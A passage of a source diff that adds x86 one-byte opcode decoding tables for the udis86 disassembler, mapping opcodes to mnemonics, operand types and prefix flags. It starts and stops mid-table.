UD_Ipush, O_rDXr10, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 53 */ { UD_Ipush, O_rBXr11, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 54 */ { UD_Ipush, O_rSPr12, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 55 */ { UD_Ipush, O_rBPr13, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 56 */ { UD_Ipush, O_rSIr14, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 57 */ { UD_Ipush, O_rDIr15, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 58 */ { UD_Ipop, O_rAXr8, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 59 */ { UD_Ipop, O_rCXr9, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 5A */ { UD_Ipop, O_rDXr10, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 5B */ { UD_Ipop, O_rBXr11, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 5C */ { UD_Ipop, O_rSPr12, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 5D */ { UD_Ipop, O_rBPr13, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 5E */ { UD_Ipop, O_rSIr14, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 5F */ { UD_Ipop, O_rDIr15, O_NONE, O_NONE, P_def64|P_depM|P_oso|P_rexb }, + /* 60 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_60__OSIZE }, + /* 61 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_61__OSIZE }, + /* 62 */ { UD_Ibound, O_Gv, O_M, O_NONE, P_inv64|P_aso|P_oso }, + /* 63 */ { UD_Igrp_mode, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_63__MODE }, + /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 68 */ { UD_Ipush, O_Iz, O_NONE, O_NONE, P_c1|P_oso }, + /* 69 */ { UD_Iimul, O_Gv, O_Ev, O_Iz, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 6A */ { UD_Ipush, O_Ib, O_NONE, O_NONE, P_none }, + /* 6B */ { UD_Iimul, O_Gv, O_Ev, O_Ib, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 6C */ { UD_Iinsb, O_NONE, O_NONE, O_NONE, P_none }, + /* 6D */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_6D__OSIZE }, + /* 6E */ { UD_Ioutsb, O_NONE, O_NONE, O_NONE, P_none }, + /* 6F */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_6F__OSIZE }, + /* 70 */ { UD_Ijo, O_Jb, O_NONE, O_NONE, P_none }, + /* 71 */ { UD_Ijno, O_Jb, O_NONE, O_NONE, P_none }, + /* 72 */ { UD_Ijb, O_Jb, O_NONE, O_NONE, P_none }, + /* 73 */ { UD_Ijae, O_Jb, O_NONE, O_NONE, P_none }, + /* 74 */ { UD_Ijz, O_Jb, O_NONE, O_NONE, P_none }, + /* 75 */ { UD_Ijnz, O_Jb, O_NONE, O_NONE, P_none }, + /* 76 */ { UD_Ijbe, O_Jb, O_NONE, O_NONE, P_none }, + /* 77 */ { UD_Ija, O_Jb, O_NONE, O_NONE, P_none }, + /* 78 */ { UD_Ijs, O_Jb, O_NONE, O_NONE, P_none }, + /* 79 */ { UD_Ijns, O_Jb, O_NONE, O_NONE, P_none }, + /* 7A */ { UD_Ijp, O_Jb, O_NONE, O_NONE, P_none }, + /* 7B */ { UD_Ijnp, O_Jb, O_NONE, O_NONE, P_none }, + /* 7C */ { UD_Ijl, O_Jb, O_NONE, O_NONE, P_none }, + /* 7D */ { UD_Ijge, O_Jb, O_NONE, O_NONE, P_none }, + /* 7E */ { UD_Ijle, O_Jb, O_NONE, O_NONE, P_none }, + /* 7F */ { UD_Ijg, O_Jb, O_NONE, O_NONE, P_none }, + /* 80 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_80__REG }, + /* 81 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_81__REG }, + /* 82 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_82__REG }, + /* 83 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_83__REG }, + /* 84 */ { UD_Itest, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 85 */ { UD_Itest, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 86 */ { UD_Ixchg, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 87 */ { UD_Ixchg, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 88 */ { UD_Imov, O_Eb, O_Gb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 89 */ { UD_Imov, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 8A */ { UD_Imov, O_Gb, O_Eb, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 8B */ { UD_Imov, O_Gv, O_Ev, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 8C */ { UD_Imov, O_Ev, O_S, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* 8D */ { UD_Ilea, O_Gv, O_M, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 8E */ { UD_Imov, O_S, O_Ev, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* 8F */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_8F__REG }, + /* 90 */ { UD_Ixchg, O_rAXr8, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 91 */ { UD_Ixchg, O_rCXr9, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 92 */ { UD_Ixchg, O_rDXr10, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 93 */ { UD_Ixchg, O_rBXr11, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 94 */ { UD_Ixchg, O_rSPr12, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 95 */ { UD_Ixchg, O_rBPr13, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 96 */ { UD_Ixchg, O_rSIr14, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 97 */ { UD_Ixchg, O_rDIr15, O_rAX, O_NONE, P_oso|P_rexw|P_rexb }, + /* 98 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_98__OSIZE }, + /* 99 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_99__OSIZE }, + /* 9A */ { UD_Icall, O_Ap, O_NONE, O_NONE, P_inv64|P_oso }, + /* 9B */ { UD_Iwait, O_NONE, O_NONE, O_NONE, P_none }, + /* 9C */ { UD_Igrp_mode, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9C__MODE }, + /* 9D */ { UD_Igrp_mode, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9D__MODE }, + /* 9E */ { UD_Isahf, O_NONE, O_NONE, O_NONE, P_none }, + /* 9F */ { UD_Ilahf, O_NONE, O_NONE, O_NONE, P_none }, + /* A0 */ { UD_Imov, O_AL, O_Ob, O_NONE, P_none }, + /* A1 */ { UD_Imov, O_rAX, O_Ov, O_NONE, P_aso|P_oso|P_rexw }, + /* A2 */ { UD_Imov, O_Ob, O_AL, O_NONE, P_none }, + /* A3 */ { UD_Imov, O_Ov, O_rAX, O_NONE, P_aso|P_oso|P_rexw }, + /* A4 */ { UD_Imovsb, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_none }, + /* A5 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_A5__OSIZE }, + /* A6 */ { UD_Icmpsb, O_NONE, O_NONE, O_NONE, P_none }, + /* A7 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_A7__OSIZE }, + /* A8 */ { UD_Itest, O_AL, O_Ib, O_NONE, P_none }, + /* A9 */ { UD_Itest, O_rAX, O_Iz, O_NONE, P_oso|P_rexw }, + /* AA */ { UD_Istosb, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_none }, + /* AB */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AB__OSIZE }, + /* AC */ { UD_Ilodsb, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_none }, + /* AD */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AD__OSIZE }, + /* AE */ { UD_Iscasb, O_NONE, O_NONE, O_NONE, P_none }, + /* AF */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AF__OSIZE }, + /* B0 */ { UD_Imov, O_ALr8b, O_Ib, O_NONE, P_rexb }, + /* B1 */ { UD_Imov, O_CLr9b, O_Ib, O_NONE, P_rexb }, + /* B2 */ { UD_Imov, O_DLr10b, O_Ib, O_NONE, P_rexb }, + /* B3 */ { UD_Imov, O_BLr11b, O_Ib, O_NONE, P_rexb }, + /* B4 */ { UD_Imov, O_AHr12b, O_Ib, O_NONE, P_rexb }, + /* B5 */ { UD_Imov, O_CHr13b, O_Ib, O_NONE, P_rexb }, + /* B6 */ { UD_Imov, O_DHr14b, O_Ib, O_NONE, P_rexb }, + /* B7 */ { UD_Imov, O_BHr15b, O_Ib, O_NONE, P_rexb }, + /* B8 */ { UD_Imov, O_rAXr8, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* B9 */ { UD_Imov, O_rCXr9, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* BA */ { UD_Imov, O_rDXr10, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* BB */ { UD_Imov, O_rBXr11, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* BC */ { UD_Imov, O_rSPr12, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* BD */ { UD_Imov, O_rBPr13, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* BE */ { UD_Imov, O_rSIr14, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* BF */ { UD_Imov, O_rDIr15, O_Iv, O_NONE, P_oso|P_rexw|P_rexb }, + /* C0 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C0__REG }, + /* C1 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C1__REG }, + /* C2 */ { UD_Iret, O_Iw, O_NONE, O_NONE, P_none }, + /* C3 */ { UD_Iret, O_NONE, O_NONE, O_NONE, P_none }, + /* C4 */ { UD_Iles, O_Gv, O_M, O_NONE, P_inv64|P_aso|P_oso }, + /* C5 */ { UD_Ilds, O_Gv, O_M, O_NONE, P_inv64|P_aso|P_oso }, + /* C6 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C6__REG }, + /* C7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_C7__REG }, + /* C8 */ { UD_Ienter, O_Iw, O_Ib, O_NONE, P_def64|P_depM|P_none }, + /* C9 */ { UD_Ileave, O_NONE, O_NONE, O_NONE, P_none }, + /* CA */ { UD_Iretf, O_Iw, O_NONE, O_NONE, P_none }, + /* CB */ { UD_Iretf, O_NONE, O_NONE, O_NONE, P_none }, + /* CC */ { UD_Iint3, O_NONE, O_NONE, O_NONE, P_none }, + /* CD */ { UD_Iint, O_Ib, O_NONE, O_NONE, P_none }, + /* CE */ { UD_Iinto, O_NONE, O_NONE, O_NONE, P_inv64|P_none }, + /* CF */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_CF__OSIZE }, + /* D0 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D0__REG }, + /* D1 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D1__REG }, + /* D2 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D2__REG }, + /* D3 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D3__REG }, + /* D4 */ { UD_Iaam, O_Ib, O_NONE, O_NONE, P_inv64|P_none }, + /* D5 */ { UD_Iaad, O_Ib, O_NONE, O_NONE, P_inv64|P_none }, + /* D6 */ { UD_Isalc, O_NONE, O_NONE, O_NONE, P_inv64|P_none }, + /* D7 */ { UD_Ixlatb, O_NONE, O_NONE, O_NONE, P_rexw }, + /* D8 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D8__MOD }, + /* D9 */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_D9__MOD }, + /* DA */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DA__MOD }, + /* DB */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DB__MOD }, + /* DC */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DC__MOD }, + /* DD */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DD__MOD }, + /* DE */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DE__MOD }, + /* DF */ { UD_Igrp_mod, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_DF__MOD }, + /* E0 */ { UD_Iloopnz, O_Jb, O_NONE, O_NONE, P_none }, + /* E1 */ { UD_Iloope, O_Jb, O_NONE, O_NONE, P_none }, + /* E2 */ { UD_Iloop, O_Jb, O_NONE, O_NONE, P_none }, + /* E3 */ { UD_Igrp_asize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_E3__ASIZE }, + /* E4 */ { UD_Iin, O_AL, O_Ib, O_NONE, P_none }, + /* E5 */ { UD_Iin, O_eAX, O_Ib, O_NONE, P_oso }, + /* E6 */ { UD_Iout, O_Ib, O_AL, O_NONE, P_none }, + /* E7 */ { UD_Iout, O_Ib, O_eAX, O_NONE, P_oso }, + /* E8 */ { UD_Icall, O_Jz, O_NONE, O_NONE, P_def64|P_oso }, + /* E9 */ { UD_Ijmp, O_Jz, O_NONE, O_NONE, P_def64|P_depM|P_oso }, + /* EA */ { UD_Ijmp, O_Ap, O_NONE, O_NONE, P_inv64|P_none }, + /* EB */ { UD_Ijmp, O_Jb, O_NONE, O_NONE, P_none }, + /* EC */ { UD_Iin, O_AL, O_DX, O_NONE, P_none }, + /* ED */ { UD_Iin, O_eAX, O_DX, O_NONE, P_oso }, + /* EE */ { UD_Iout, O_DX, O_AL, O_NONE, P_none }, + /* EF */ { UD_Iout, O_DX, O_eAX, O_NONE, P_oso }, + /* F0 */ { UD_Ilock, O_NONE, O_NONE, O_NONE, P_none }, + /* F1 */ { UD_Iint1, O_NONE, O_NONE, O_NONE, P_none }, + /* F2 */ { UD_Irepne, O_NONE, O_NONE, O_NONE, P_none }, + /* F3 */ { UD_Irep, O_NONE, O_NONE, O_NONE, P_none }, + /* F4 */ { UD_Ihlt, O_NONE, O_NONE, O_NONE, P_none }, + /* F5 */ { UD_Icmc, O_NONE, O_NONE, O_NONE, P_none }, + /* F6 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_F6__REG }, + /* F7 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_F7__REG }, + /* F8 */ { UD_Iclc, O_NONE, O_NONE, O_NONE, P_none }, + /* F9 */ { UD_Istc, O_NONE, O_NONE, O_NONE, P_none }, + /* FA */ { UD_Icli, O_NONE, O_NONE, O_NONE, P_none }, + /* FB */ { UD_Isti, O_NONE, O_NONE, O_NONE, P_none }, + /* FC */ { UD_Icld, O_NONE, O_NONE, O_NONE, P_none }, + /* FD */ { UD_Istd, O_NONE, O_NONE, O_NONE, P_none }, + /* FE */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_FE__REG }, + /* FF */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_FF__REG }, +}; + +static struct ud_itab_entry itab__1byte__op_60__osize[3] = { + /* 00 */ { UD_Ipusha, O_NONE, O_NONE, O_NONE, P_inv64|P_oso }, + /* 01 */ { UD_Ipushad, O_NONE, O_NONE, O_NONE, P_inv64|P_oso }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_61__osize[3] = { + /* 00 */ { UD_Ipopa, O_NONE, O_NONE, O_NONE, P_inv64|P_oso }, + /* 01 */ { UD_Ipopad, O_NONE, O_NONE, O_NONE, P_inv64|P_oso }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_63__mode[3] = { + /* 00 */ { UD_Iarpl, O_Ew, O_Gw, O_NONE, P_inv64|P_aso }, + /* 01 */ { UD_Iarpl, O_Ew, O_Gw, O_NONE, P_inv64|P_aso }, + /* 02 */ { UD_Imovsxd, O_Gv, O_Ed, O_NONE, P_c2|P_aso|P_oso|P_rexw|P_rexx|P_rexr|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_6d__osize[3] = { + /* 00 */ { UD_Iinsw, O_NONE, O_NONE, O_NONE, P_oso }, + /* 01 */ { UD_Iinsd, O_NONE, O_NONE, O_NONE, P_oso }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_6f__osize[3] = { + /* 00 */ { UD_Ioutsw, O_NONE, O_NONE, O_NONE, P_oso }, + /* 01 */ { UD_Ioutsd, O_NONE, O_NONE, O_NONE, P_oso }, + /* 02 */ { UD_Ioutsq, O_NONE, O_NONE, O_NONE, P_oso }, +}; + +static struct ud_itab_entry itab__1byte__op_80__reg[8] = { + /* 00 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ior, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iand, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Isub, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_81__reg[8] = { + /* 00 */ { UD_Iadd, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ior, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iadc, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Isbb, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iand, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Isub, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ixor, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Icmp, O_Ev, O_Iz, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_82__reg[8] = { + /* 00 */ { UD_Iadd, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ior, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iadc, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iand, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Isub, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ixor, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Icmp, O_Eb, O_Ib, O_NONE, P_c1|P_inv64|P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_83__reg[8] = { + /* 00 */ { UD_Iadd, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Ior, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 02 */ { UD_Iadc, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 03 */ { UD_Isbb, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 04 */ { UD_Iand, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 05 */ { UD_Isub, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 06 */ { UD_Ixor, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 07 */ { UD_Icmp, O_Ev, O_Ib, O_NONE, P_c1|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__1byte__op_8f__reg[8] = { + /* 00 */ { UD_Ipop, O_Ev, O_NONE, O_NONE, P_c1|P_def64|P_depM|P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_98__osize[3] = { + /* 00 */ { UD_Icbw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 01 */ { UD_Icwde, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 02 */ { UD_Icdqe, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_99__osize[3] = { + /* 00 */ { UD_Icwd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 01 */ { UD_Icdq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 02 */ { UD_Icqo, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_9c__mode[3] = { + /* 00 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9C__MODE__OP_00__OSIZE }, + /* 01 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9C__MODE__OP_01__OSIZE }, + /* 02 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, P_def64|P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_9c__mode__op_00__osize[3] = { + /* 00 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, P_def64|P_oso }, + /* 01 */ { UD_Ipushfd, O_NONE, O_NONE, O_NONE, P_def64|P_oso }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_9c__mode__op_01__osize[3] = { + /* 00 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, P_def64|P_oso }, + /* 01 */ { UD_Ipushfd, O_NONE, O_NONE, O_NONE, P_def64|P_oso }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_9d__mode[3] = { + /* 00 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9D__MODE__OP_00__OSIZE }, + /* 01 */ { UD_Igrp_osize, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_9D__MODE__OP_01__OSIZE }, + /* 02 */ { UD_Ipopfq, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso }, +}; + +static struct ud_itab_entry itab__1byte__op_9d__mode__op_00__osize[3] = { + /* 00 */ { UD_Ipopfw, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso }, + /* 01 */ { UD_Ipopfd, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_9d__mode__op_01__osize[3] = { + /* 00 */ { UD_Ipopfw, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso }, + /* 01 */ { UD_Ipopfd, O_NONE, O_NONE, O_NONE, P_def64|P_depM|P_oso }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_a5__osize[3] = { + /* 00 */ { UD_Imovsw, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, + /* 01 */ { UD_Imovsd, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, + /* 02 */ { UD_Imovsq, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_a7__osize[3] = { + /* 00 */ { UD_Icmpsw, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 01 */ { UD_Icmpsd, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, + /* 02 */ { UD_Icmpsq, O_NONE, O_NONE, O_NONE, P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_ab__osize[3] = { + /* 00 */ { UD_Istosw, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, + /* 01 */ { UD_Istosd, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, + /* 02 */ { UD_Istosq, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_ad__osize[3] = { + /* 00 */ { UD_Ilodsw, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, + /* 01 */ { UD_Ilodsd, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, + /* 02 */ { UD_Ilodsq, O_NONE, O_NONE, O_NONE, P_ImpAddr|P_oso|P_rexw }, +}; + +static struct ud_itab_entry itab__1byte__op_ae__mod[2] = { + /* 00 */ { UD_Igrp_reg, O_NONE, O_NONE, O_NONE, ITAB__1BYTE__OP_AE__MOD__OP_00__REG }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__1byte__op_ae__mod__op_00__reg[8] = { + /* 00 */ { UD_Ifxsave, O_M, 